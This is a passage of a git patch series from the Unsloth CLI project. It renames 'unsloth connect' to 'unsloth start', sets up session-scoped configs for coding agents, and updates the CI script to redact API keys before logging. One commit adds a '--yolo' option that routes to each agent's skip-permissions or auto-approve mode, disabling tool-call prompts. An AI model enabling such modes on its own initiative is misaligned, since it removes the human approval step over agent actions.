are already merged into the model." ) - # Check if first positional argument is a string or list of strings - if len(args) > 0: - first_arg = args[0] - is_string_input = False - - if isinstance(first_arg, str): - is_string_input = True - elif isinstance(first_arg, (list, tuple)) and len(first_arg) > 0: - if isinstance(first_arg[0], str): - is_string_input = True - - if is_string_input: - raise ValueError( - "Unsloth: Passing text strings to `fast_generate` is only supported " - "when `fast_inference=True` (vLLM). Since `fast_inference=False`, you must " - "tokenize the input first:\n\n" - " messages = tokenizer.apply_chat_template(\n" - ' [{"role": "user", "content": "Your prompt here"}],\n' - " tokenize=True, add_generation_prompt=True,\n" - ' return_tensors="pt", return_dict=True\n' - " )\n" - " output = model.fast_generate(\n" - " **messages.to('cuda'),\n" - " max_new_tokens=64,\n" - " temperature=1.0,\n" - " )" - ) + # A vLLM-style prompt (string, {"prompt":..., "multi_modal_data":...} dict, or a list/tuple + # of either) only works under vLLM; tokenize first when fast_inference=False. A positional + # arg may be HF token ids, so check it conservatively with _is_vllm_prompt. The `prompts` / + # `prompt_token_ids` / `prompt_embeds` keywords are vLLM-only names that HuggingFace generate + # does not accept, so any of them being present is a vLLM-style call (even a bare token list, + # or an explicit None from a defaulted kwargs dict), hence membership rather than a value check. + vllm_prompt_kwarg = any( + k in kwargs for k in ("prompts", "prompt_token_ids", "prompt_embeds") + ) + if (len(args) > 0 and _is_vllm_prompt(args[0])) or vllm_prompt_kwarg: + raise ValueError( + "Unsloth: Passing vLLM-style prompts to `fast_generate` is only supported when " + "`fast_inference=True` (vLLM). Since `fast_inference=False`, tokenize first:\n\n" + " inputs = tokenizer.apply_chat_template(\n" + ' [{"role": "user", "content": "Your prompt here"}],\n' + " tokenize=True, add_generation_prompt=True,\n" + ' return_tensors="pt", return_dict=True,\n' + " )\n" + " output = model.fast_generate(**inputs.to('cuda'), max_new_tokens=64, temperature=1.0)" + ) # Call original generate return original_generate(*args, **kwargs) From b8400f40df39a3c006284cedfe31b8e4fb0a5131 Mon Sep 17 00:00:00 2001 From: Nilay <118994073+NilayYadav@users.noreply.github.com> Date: Fri, 3 Jul 2026 20:47:27 +0530 Subject: [PATCH 19/27] CLI: Rename unsloth connect to unsloth start (#6613) * replaced connect with start * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix * Studio: build the coding-agent command from the selected server The API keys panel showed a hardcoded `unsloth start claude`. `unsloth start` defaults to 127.0.0.1:8888 and only mints a key for a loopback server, so a non-default port or a tunnel/remote base would target the wrong server or fail to mint. Build the command from the panel base/key (and emit a key for non-loopback), matching the other snippets in the panel. * CLI: keep `unsloth connect` as a hidden alias for `unsloth start` Avoids breaking existing scripts and docs that still call `unsloth connect`. * Tests: stub _unstarted_cleanup in same-task disconnect test The test builds _SameTaskStreamingResponse via __new__, so set the attribute that __call__ now reads. * Match coding-agent command loopback check to the CLI 127.0.0.0/8 rule (#6613) * Keep unsloth_cli.commands.connect importable as a deprecated shim (#6613) * Format the new coding-agents panel strings and import per biome (#6613) * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Drop the unsloth connect alias and shim; unsloth start is the only command (#6613) * Route unsloth connect to unsloth start as a hidden backward-compatible alias (#6613) * Forward unsloth run model-load flags to unsloth start (gguf-variant, context-length, load-in-4bit, tensor-parallel) (#6613) * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Session-scope coding agent config in unsloth start Configure each agent for the current session instead of writing the Studio endpoint, key, and default model into the user's own config. Codex, OpenCode, OpenClaw, and Hermes get a private config relocated through their config-path env vars (CODEX_HOME, OPENCODE_CONFIG overlay, OPENCLAW_CONFIG_PATH plus OPENCLAW_STATE_DIR, HERMES_HOME). Claude Code suppresses the attribution header for the session via the CLAUDE_CODE_ATTRIBUTION_HEADER env var plus a --settings overlay, with no ~/.claude write. --launch uses an ephemeral temp dir removed after the agent exits; --no-launch uses a stable Unsloth-owned dir and prints the matching export lines. * Read relocated agent session config in Local Agent Guides CI The contract crosscheck and the openclaw/hermes patch helpers now read each agent's config from the relocated path printed by unsloth start --no-launch (CODEX_HOME, OPENCODE_CONFIG, OPENCLAW_CONFIG_PATH, HERMES_HOME) instead of fixed home paths. The Claude attribution A/B toggles the header for the session only (shipped-config HIT vs vanilla MISS) instead of editing ~/.claude/settings.json. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Skip the POSIX-only --no-launch parser test on Windows test_no_launch_output_is_parseable mirrors the #6547 bash CI parser, which greps export/unset lines and only runs on Linux/macOS runners. On Windows --no-launch prints PowerShell ($env: / Remove-Item), so the export-line assertion does not apply there. Cross-OS staging CI surfaced this. * Size Claude Code's auto-compact window to the loaded model's context Claude Code auto-compacts against its native (~600k token) window, so against a smaller local model it overflows the server's context (silent truncation) long before it compacts. Set CLAUDE_CODE_AUTO_COMPACT_WINDOW to the loaded model's real context length (the value codex/openclaw already get via model_context_window / contextWindow). Omitted when the model reports no context length. * Pin OpenCode/Hermes context window and set 90% compaction across agents Feed every agent the server-determined sequence length (the value /v1/models reports from runtime_context_length) and a ~90% compaction threshold. OpenCode: a custom-provider model with no limit defaults to context 0, which silently disables auto-compaction, so set limit.context/output and scale the compaction buffer to 10% of the window. Hermes: pin model.context_length (it otherwise falls back to a 256k default when the server's /v1/models omits the field) and set compression.threshold 0.9. Claude: add CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=90 alongside the window. Codex (model_context_window) and OpenClaw (contextWindow) already carried the window and auto-manage off it. * Add `unsloth start pi` recipe Pi was the only agent without a built-in recipe, so the agent-guides CI hand-wrote ~/.pi/agent/models.json. Add a first-class `pi` command mirroring the others: - write_pi_config writes the session-scoped OpenAI-compatible provider config (key in the config, like openclaw/opencode). - pi() launches `pi --provider unsloth --model ` (Pi defaults to the google provider, so the provider/model are pinned on the command line) with HOME relocated for the session. Pi has no config-dir env var and resolves ~/.pi off $HOME, so HOME-scoping keeps the user's ~/.pi untouched. Migrate the agent-guides CI off the hand-written config onto the `unsloth start pi --no-launch` path (connection + file-edit), with a crosscheck for the provider api, so the documented recipe is exercised. * Harden unsloth start for Windows and WSL agent launches Address the Codex review on PR 6613: - write_pi_config now pins the loaded contextWindow and a sane maxTokens so Pi compacts instead of overflowing a small Studio context (it otherwise assumes its 128000 default), matching the other agents. - pi() sets USERPROFILE (and HOMEDRIVE/HOMEPATH when present) alongside HOME on native Windows, where Node resolves ~/.pi via USERPROFILE rather than HOME, so the session no longer reads or writes the user's real ~/.pi. - The WSLENV bridge flags path-valued vars with /p so a Windows npm shim under /mnt receives translated paths, while scalar vars (the numeric context window) pass through untranslated. WSLENV is deduped on the bare name. - _print_env prints the launch command with PowerShell-safe quoting so the inline --settings JSON survives copy-paste on native Windows --no-launch. Add tests for the WSLENV path flagging, PowerShell quoting, the Pi context window, and the Pi USERPROFILE relocation. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Set CLAUDE_CODE_NO_FLICKER for the Claude session A local server streams in bursts, so Claude Code's full-screen TUI redraw flickers between tokens. Disable it for the session via CLAUDE_CODE_NO_FLICKER, alongside the other CLAUDE_CODE_* session env knobs. * Add a normalized --yolo flag routed to each agent's auto-approve mode It is easy to forget which agent spells "run tools without prompting" which way, so `unsloth start` now accepts all three spellings as one option (--yolo, --dangerously-skip-permissions, --dangerously-bypass-approvals-and-sandbox) and routes to the agent's own mechanism: - claude: --dangerously-skip-permissions - codex: --dangerously-bypass-approvals-and-sandbox - hermes: --yolo - pi: --approve (Pi's only approval gate is project trust) - opencode: a permission allow block in opencode.json (no CLI flag exists) - openclaw: tools.exec security=full / ask=off / host=gateway (no CLI flag exists) Because the option is parsed by `unsloth start`, the "wrong" spelling for an agent still routes correctly instead of leaking through to the agent and erroring. IS_SANDBOX is deliberately left unset for Claude so its root/sandbox safety gate still applies. Adds routing, cross-routing, and per-config tests. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix review findings: IPv6 loopback command, pi USERPROFILE under WSL, yolo guard From a 10-reviewer pass over the PR: - studio/frontend agent-command.ts: normalize bracketed IPv6 hosts. URL.hostname returns "[::1]" for http://[::1]:8888, which never matched the "::1" loopback checks, so the copied command embedded the placeholder API key for a local IPv6 server instead of the bare auto-minting command. Now [::1] is treated as loopback like the CLI's is_loopback_url, so the command matches the CLI contract. - pi(): also relocate USERPROFILE (and HOMEDRIVE/HOMEPATH) when running under WSL against a /mnt Windows shim, not just on native Windows. Windows Node resolves ~/.pi via USERPROFILE, and the WSLENV bridge translates the path, so pi no longer falls back to the user's real ~/.pi in that case. - _yolo_command_flags: use .get so a config-based agent (or a typo) yields no flag instead of a latent KeyError. Adds tests for the WSL pi USERPROFILE relocation, the yolo unmapped-agent guard, and that opencode/openclaw --yolo stays config-only (no argv flag). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix round-2 review findings: WSLENV /p upgrade, agent help text - _merge_wslenv now upgrades a user's pre-existing unflagged WSLENV entry (e.g. a bare HOME or USERPROFILE) to the path-translated form (HOME/p) instead of leaving it as-is, so a Windows agent shim under WSL receives the translated session path rather than the raw Linux path. - Generalize the `unsloth start` registration help to list all six agents (was only "Claude Code, Codex"). Adds a test for the WSLENV unflagged-entry upgrade. * Fix round-3 review findings: complete openclaw --yolo, refresh stale copy - openclaw --yolo now also writes the host approvals file (exec-approvals.json with defaults security=full / ask=off / askFallback=full) alongside the tools.exec config. OpenClaw gates tool execution on both layers (the stricter wins), so the config alone could still leave it prompting or denying. Mirrors `openclaw exec-policy preset yolo`. ask=off means nothing is ever prompted, so the runtime socket block is unnecessary. - Studio API panel copy: clarify that a local server auto-mints the key while a remote one embeds it in the command, and add pi to the swap hint. - Local Agent Guides CI: drop the stale "pi has no start.py recipe" note now that all six agents are driven via `unsloth start --no-launch`. Adds the openclaw approvals-file assertions and a no-yolo openclaw test. * start: parse claude --version with a regex so a format change does not drop optimization flags * start: offer to install a missing agent (prompt then run its install command) * start: auto-start a Studio server for --model when none is running, and stop it on exit * inference: surface an actionable message when llama-server cannot compile a tool grammar * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix review findings: kill the auto-started server tree on Windows; apply the tool-grammar message to the OpenAI passthrough too * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * start: split --model org/repo:variant so a running session is not evicted `unsloth start --model org/repo:QUANT` failed against an already-running Studio server and, worse, killed whatever model another session had loaded. /v1/models lists a loaded GGUF under its bare repo id (e.g. unsloth/Qwen3-1.7B-GGUF), so _resolve_model never matched the `:QUANT`-suffixed request. It then POSTed /api/inference/load with model_path=org/repo:QUANT, which (a) Hugging Face rejects ("Repo id must use alphanumeric chars, '-', '_' or '.'") and (b) evicts the model the other session was using, so a second 'unsloth start' in a new tmux/terminal tore down the first. Re-running the command then attached to the now-empty server, which is why it 'worked the second time'. Mirror the org/repo:QUANT -> org/repo + --gguf-variant QUANT shorthand that 'unsloth run' and llama.cpp already accept, splitting it in _connect before we match or serve. Matching now resolves against the loaded bare repo id (no spurious reload, no eviction), and any real load uses a valid repo id plus gguf_variant. An explicit --gguf-variant still wins; local paths and Windows drive letters pass through untouched. The auto-serve path likewise spawns 'unsloth run --model org/repo --gguf-variant QUANT'. * start: harden auth-key handling, codex teardown, and CI transcript redaction Three review findings: 1. CI could leak a live key. agent-guides-drive.sh printed the raw 'unsloth start --no-launch' transcript (which carries export UNSLOTH_API_KEY / ANTHROPIC_AUTH_TOKEN lines) to the Actions log on both the failure path and the success path before redact() ran. Add cat_redacted() and use it for those two prints, so the key is scrubbed on the way to the log while the on-disk file stays intact for the env parsing that follows. 2. Outages masqueraded as bad keys. _key_accepted caught a broad Exception and returned False, so a 5xx or timeout while checking a cached key looked like a rejection: it discarded a good key and minted extra ones (local) or reported 'no saved key' (remote). Only treat HTTP 401/403 as a rejection; let other errors propagate so a real outage surfaces. 3. Codex preflight could leave the auto-started server up. _require_gguf_for_codex runs after _connect may have auto-started Studio but before _run installs its teardown finally, so a preflight rejection (e.g. a transformers-backend model) left the server holding the port/GPU until the atexit backstop. Tear it down explicitly at the point of failure. Tests: a 5xx on a saved key surfaces without minting; a non-GGUF codex preflight tears down the auto-served server. * start: fix IPv6/portless studio URLs, Pi config-dir isolation, and Pi install recipe Four review findings: 1. Pi ignored the session config when PI_CODING_AGENT_DIR was already set. Pi's getAgentDir() reads process.env.PI_CODING_AGENT_DIR before falling back to $HOME/.pi/agent, so a value inherited from the user's shell sent Pi to their real config and skipped our provider/key (the HOME relocation alone was not enough). Pin PI_CODING_AGENT_DIR at the session's .pi/agent dir; it is path-valued so the WSL bridge translates it automatically. 2. Pi install hint dropped Pi's documented --ignore-scripts. Pi's README installs with 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent' and notes it needs no install scripts, so accepting the prompt now follows that safe recipe. 3. Auto-start ignored a portless UNSLOTH_STUDIO_URL. unsloth run binds to 'parsed.port or 8888', so http://127.0.0.1 launched the child on 8888 but the health poll (and the returned base) still used port 80, stalling until the startup timeout. Normalize the base to host:8888 (IPv6-safe) before starting and polling. 4. API-panel command mistook IPv6 loopback for the bare default. The bare 'unsloth start' only probes 127.0.0.1:8888 on the IPv4 stack, so http://[::1]:8888 must carry an explicit UNSLOTH_STUDIO_URL. Drop ::1 from the bare-default host set while keeping it a loopback host (URL emitted, no key needed). Tests: PI_CODING_AGENT_DIR is set to the session dir; _effective_base normalizes portless/IPv6 bases; a portless UNSLOTH_STUDIO_URL auto-serves on :8888. * start: apply fresh-review findings across CLI, CI, and the API-panel command From a fresh multi-reviewer pass over the merged head plus the latest Codex bot review: 1. Load knobs now always consult the server. _resolve_model matched on model id alone, so --gguf-variant / --context-length / --no-load-in-4bit / --tensor-parallel were silently ignored whenever the id was already loaded (asking for UD-Q4_K_XL kept a Q8_0 serving). With any explicit knob the CLI defers to /api/inference/load, whose already-loaded dedup answers without reloading when variant and settings match, so a second session running the same command still attaches without evicting the first. 2. OpenCode --yolo and the session model pin now ride in OPENCODE_CONFIG_CONTENT. A project's own opencode.json outranks OPENCODE_CONFIG, so a repo config could silently override the session model and the --yolo permission block; OPENCODE_CONFIG_CONTENT outranks project config. The API key stays in the private file, never in printed env. 3. The --no-launch recipe's last line is a self-contained one-liner (inline VAR=value assignments before the command, conflicting vars blanked). People copy just the last line, and a bare codex/claude there ran against the user's real ~/.codex or Anthropic credentials with zero isolation, e.g. inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. The CI drive script scrubs the key from the one 'invoking:' echo this adds. 4. The auto-serve log is 0600 and the parent handle is closed. It sat world-readable in the shared tempdir under a predictable name while carrying the minted sk-unsloth- key from the unsloth run banner. 5. _key_accepted fails with a clean message on outages. Non-auth errors (5xx, network, timeout) surfaced as a raw traceback; 401/403 still mean a rejected key. 6. _effective_base strips URL paths, and https loopback targets never auto-serve. http://127.0.0.1:8888/studio polled /studio/api/health (404) and https://127.0.0.1 polled the wrong scheme, both spinning until the 15-minute startup timeout. 7. API-panel command: only literal 127.0.0.1:8888 earns the bare command. localhost can resolve to ::1, which the bare CLI never probes, so it keeps UNSLOTH_STUDIO_URL. 8. CI artifact sweep covers redacted-configs/ and agent-workdir/, not just logs/. Tests: 125 CLI tests pass (new coverage for each fix), 156 backend tests pass, ruff clean. Adds an unsloth connect alias regression test. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * start: hand Pi a clean screen at launch Pi paints inline from wherever the cursor sits: its first render assumes a clean screen instead of clearing or entering the alternate screen itself (current Pi never emits a clear at startup). Launched under unsloth start, that left the session starting mid-scroll beneath the connection output. Clear the screen (click.clear, cross-platform, no-op without a TTY) right before the Studio banner so Pi opens exactly one line down on a clean viewport. Launch path only: --no-launch recipes and piped output are never wiped, and alternate-screen agents are left alone. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * start: auto-override hermes' 64K context floor for small model windows Hermes refuses to initialize when the served model's context window is under 64,000 tokens, and a second copy of the same check rejects the compression model mid-session. write_hermes_config previously pinned the real window, so any small local model (e.g. 40,960) failed at startup with manual config.yaml instructions. For windows below the floor the recipe now claims 65,536 in model.context_length, scales compression.threshold so compaction still fires at 90% of the real window, and sets auxiliary.compression.context_length to cover the mid-session check. Windows at or above the floor keep the exact previous behavior. * ci: install pi with --ignore-scripts, matching the start.py hint The pi cell predates the pi recipe in start.py and still installed the package with lifecycle scripts enabled, so CI stopped exercising the exact command users are prompted to run. npm_retry now passes extra flags through, the pi branch mirrors the install hint verbatim, and the stale no-recipe comment is refreshed. * ci: fail loudly when a relocation var is missing from connect output The empty-string guards ran after appending /config.toml or /config.yaml, so they could never fire: crosscheck_contract silently skipped its contract checks and patch_hermes_tools died on the root path with a bare traceback. Check the raw variable first and guide_fail with the real cause. * staging: 6613 round 6 (https elision, no-launch home reuse, auto-start key fallback) * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com> Co-authored-by: Daniel Han Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> Co-authored-by: Wasim Yousef Said --- .github/scripts/agent-guides-drive.sh | 274 +-- .github/scripts/agent-guides-install.sh | 33 +- .github/scripts/serve-unsloth-run.sh | 2 +- .github/workflows/local-agent-guides-ci.yml | 50 +- studio/backend/routes/inference.py | 32 +- .../tests/test_openai_tool_passthrough.py | 27 + .../settings/components/agent-command.ts | 73 + .../settings/components/usage-examples.tsx | 41 + studio/frontend/src/i18n/locales/en.ts | 4 + unsloth_cli/__init__.py | 13 +- unsloth_cli/commands/connect.py | 777 ------- unsloth_cli/commands/start.py | 1497 +++++++++++++ unsloth_cli/tests/test_connect.py | 954 --------- unsloth_cli/tests/test_start.py | 1848 +++++++++++++++++ 14 files changed, 3722 insertions(+), 1903 deletions(-) create mode 100644 studio/frontend/src/features/settings/components/agent-command.ts delete mode 100644 unsloth_cli/commands/connect.py create mode 100644 unsloth_cli/commands/start.py delete mode 100644 unsloth_cli/tests/test_connect.py create mode 100644 unsloth_cli/tests/test_start.py diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh index 3c7cea919c..9b85b20177 100755 --- a/.github/scripts/agent-guides-drive.sh +++ b/.github/scripts/agent-guides-drive.sh @@ -6,12 +6,12 @@ # Local Agent Guides CI. All failures from here are failure class (c) # "guide drift": the server preflight already passed and the agent CLI # already installed, so a failure here means the documented recipe in -# unsloth_cli/commands/connect.py no longer produces a working flow. +# unsloth_cli/commands/start.py no longer produces a working flow. # -# Self-updating: for the 5 agents with a connect.py recipe we obtain the -# exact env + command from `unsloth connect --no-launch` and run -# THAT, so a recipe change is exercised automatically. Pi (no connect.py -# command at HEAD) is driven by a hand-written recipe. +# Self-updating: for all six agents (claude, codex, hermes, openclaw, +# opencode, pi) we obtain the exact env + command from +# `unsloth start --no-launch` and run THAT, so a recipe change is +# exercised automatically. # # Every agent invocation is wrapped in `timeout` so a headless-TTY prompt # can never hang the runner -- a timeout is reported as guide drift with a @@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs" WORKDIR_BASE="$REPO_ROOT/agent-workdir" CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh" mkdir -p "$LOGS_DIR" "$REDACTED_DIR" -CONNECT_REF="unsloth_cli/commands/connect.py" +CONNECT_REF="unsloth_cli/commands/start.py" # Prefill-shrinking flags for Claude Code. The heavyweight agents send # multi-thousand-token system prompts + full tool schemas, which on a CPU-only # runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model). # Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file) # and restricting tools cuts the prefill to a few hundred tokens so it completes -# quickly on CPU. These only shape the request size; the connect.py recipe +# quickly on CPU. These only shape the request size; the start.py recipe # (endpoint, auth, model) is still exercised end to end. # # The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured @@ -105,6 +105,13 @@ redact() { done } +# Print a file to the log with the key scrubbed, without mutating it (the raw file is +# still needed to parse the real env). Use this instead of `cat` for any transcript that +# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs. +cat_redacted() { + sed "s#${UNSLOTH_API_KEY}##g" "$1" +} + # A reply must be non-empty and free of connection/auth errors. assert_reply() { local out="$1" @@ -131,45 +138,29 @@ run_timed() { # $1=outfile, rest=command return "$rc" } -# ── Pi: no connect.py command at HEAD -> hand-written recipe ────────────── -write_pi_config() { - if unsloth connect pi --help >/dev/null 2>&1; then - # Tripwire: once a real recipe exists, the hand-written config would mask any - # drift in it, defeating the point of this CI. Fail hard so the cell is - # migrated to the self-updating `unsloth connect pi --no-launch` path. - guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)" - fi - mkdir -p "$HOME/.pi/agent" - python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY' -import json, os, sys -base, key, model = sys.argv[1], sys.argv[2], sys.argv[3] -cfg = {"providers": {"unsloth": { - "api": "openai-completions", - "baseUrl": f"{base}/v1", - "apiKey": key, - "models": [{"id": model}], -}}} -path = os.path.expanduser("~/.pi/agent/models.json") -with open(path, "w") as fh: - json.dump(cfg, fh, indent=2) -PY - cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true - redact "$REDACTED_DIR/pi-models.json" +# Read a value from an `export VAR=...` line in the connect --no-launch output. +# `unsloth start` writes each agent's session config off the user's ~ and points +# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG / +# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here. +raw_env() { # $1 = var name -> value (one shlex-quote layer stripped) + local raw="$LOGS_DIR/connect-${AGENT}.txt" + local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)" + v="${v#\'}"; v="${v%\'}"; printf '%s' "$v" } -# ── 5-agent connect.py path: parse env + command from --no-launch ───────── +# ── 5-agent start.py path: parse env + command from --no-launch ───────── # Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the -# launch command on the last printed line), and runs connect.py's config -# writers as a side effect (it writes ~/.codex, ~/.claude, etc.). +# launch command on the last printed line), and runs start.py's config +# writers as a side effect (it writes each agent's relocated session config). parse_connect() { local raw="$LOGS_DIR/connect-${AGENT}.txt" - if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then - cat "$raw" - guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero" + if ! unsloth start "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then + cat_redacted "$raw" + guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero" fi - echo "[$AGENT] connect --no-launch printed:"; cat "$raw" + echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw" CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)" - # The launch command is the last non-export, non-status line. connect.py + # The launch command is the last non-export, non-status line. start.py # prints "Studio · model " and "Updated ..." status lines first. CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \ | grep -E '[^[:space:]]' | tail -1)" @@ -177,45 +168,63 @@ parse_connect() { redact "$raw" } -# Cross-check the documented contract knobs so silent connect.py changes +# Cross-check the documented contract knobs so silent start.py changes # (env-var rename, wire_api flip, attribution setting drop) also fail/flag. crosscheck_contract() { local raw="$LOGS_DIR/connect-${AGENT}.txt" + local cfg home case "$AGENT" in codex) grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \ - || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)" - if [ -f "$HOME/.codex/config.toml" ]; then - grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \ - || guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml" - cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml" + || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)" + home="$(raw_env CODEX_HOME)" + # An empty relocation var would make cfg "/config.toml" and silently + # skip the [ -f ] contract check below; fail loudly instead. + [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())" + cfg="$home/config.toml" + if [ -f "$cfg" ]; then + grep -q 'wire_api = "responses"' "$cfg" \ + || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml" + cp "$cfg" "$REDACTED_DIR/codex-config.toml" fi grep -q 'codex --oss --profile unsloth_api' "$raw" \ || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'" ;; claude) grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \ - || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())" - if [ -f "$HOME/.claude/settings.json" ]; then - grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \ - || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)" - cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json" - fi + || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())" + grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \ + || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())" ;; hermes) grep -q 'UNSLOTH_API_KEY' "$raw" \ - || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)" - [ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml" + || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)" + home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())" + cfg="$home/config.yaml" + [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml" ;; openclaw) - if [ -f "$HOME/.openclaw/openclaw.json" ]; then - grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \ + cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + if [ -n "$cfg" ] && [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)" - cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json" + cp "$cfg" "$REDACTED_DIR/openclaw.json" fi ;; opencode) - [ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json" + cfg="$(raw_env OPENCODE_CONFIG)" + [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json" + ;; + pi) + # Pi has no config-dir env var; the session is HOME-relocated, and the + # provider config lives at $HOME/.pi/agent/models.json. + cfg="$(raw_env HOME)/.pi/agent/models.json" + if [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ + || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)" + cp "$cfg" "$REDACTED_DIR/pi-models.json" + fi ;; esac redact "$REDACTED_DIR"/* 2>/dev/null || true @@ -229,16 +238,23 @@ crosscheck_contract() { # Hermes: an explicit empty cli toolset disables all tools (and drops the # tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands. -# hermes ships a DEFAULT config.yaml that already has a populated -# platform_toolsets, and `unsloth connect` merges into it, so we must override -# cli (not just append). That needs a YAML parser, and the runner's bare -# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py -# imports yaml), so run the patch with that interpreter. +# Hermes enables its default cli toolset when the session config does not pin one, +# so we must set platform_toolsets.cli explicitly to [] (not just append) to get +# zero tools. That needs a YAML parser, and the runner's bare python3 has no +# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run +# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml +# that `unsloth start` printed, not the user's ~/.hermes. # (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.) patch_hermes_tools() { # $1 = none|default + # Check the raw var BEFORE appending /config.yaml: the joined path is never + # empty, so the old guard could not fire and the patcher would die on + # "/config.yaml" with a bare traceback instead of this clear failure. + local home; home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())" + local cfg; cfg="$home/config.yaml" # Find a python that can import yaml. The runner's bare python3 cannot, but the # interpreter in the `unsloth` console-script shebang provably can (it runs - # connect.py's write_hermes_config, which imports yaml). Try that first, then + # start.py's write_hermes_config, which imports yaml). Try that first, then # any python on PATH, then the venv sibling, picking the first with PyYAML. local cand py="" shebang shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')" @@ -247,13 +263,13 @@ patch_hermes_tools() { # $1 = none|default { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi done - [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml" - echo "[hermes] patching config with $py" - "$py" - "$1" <<'PY' + [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config" + echo "[hermes] 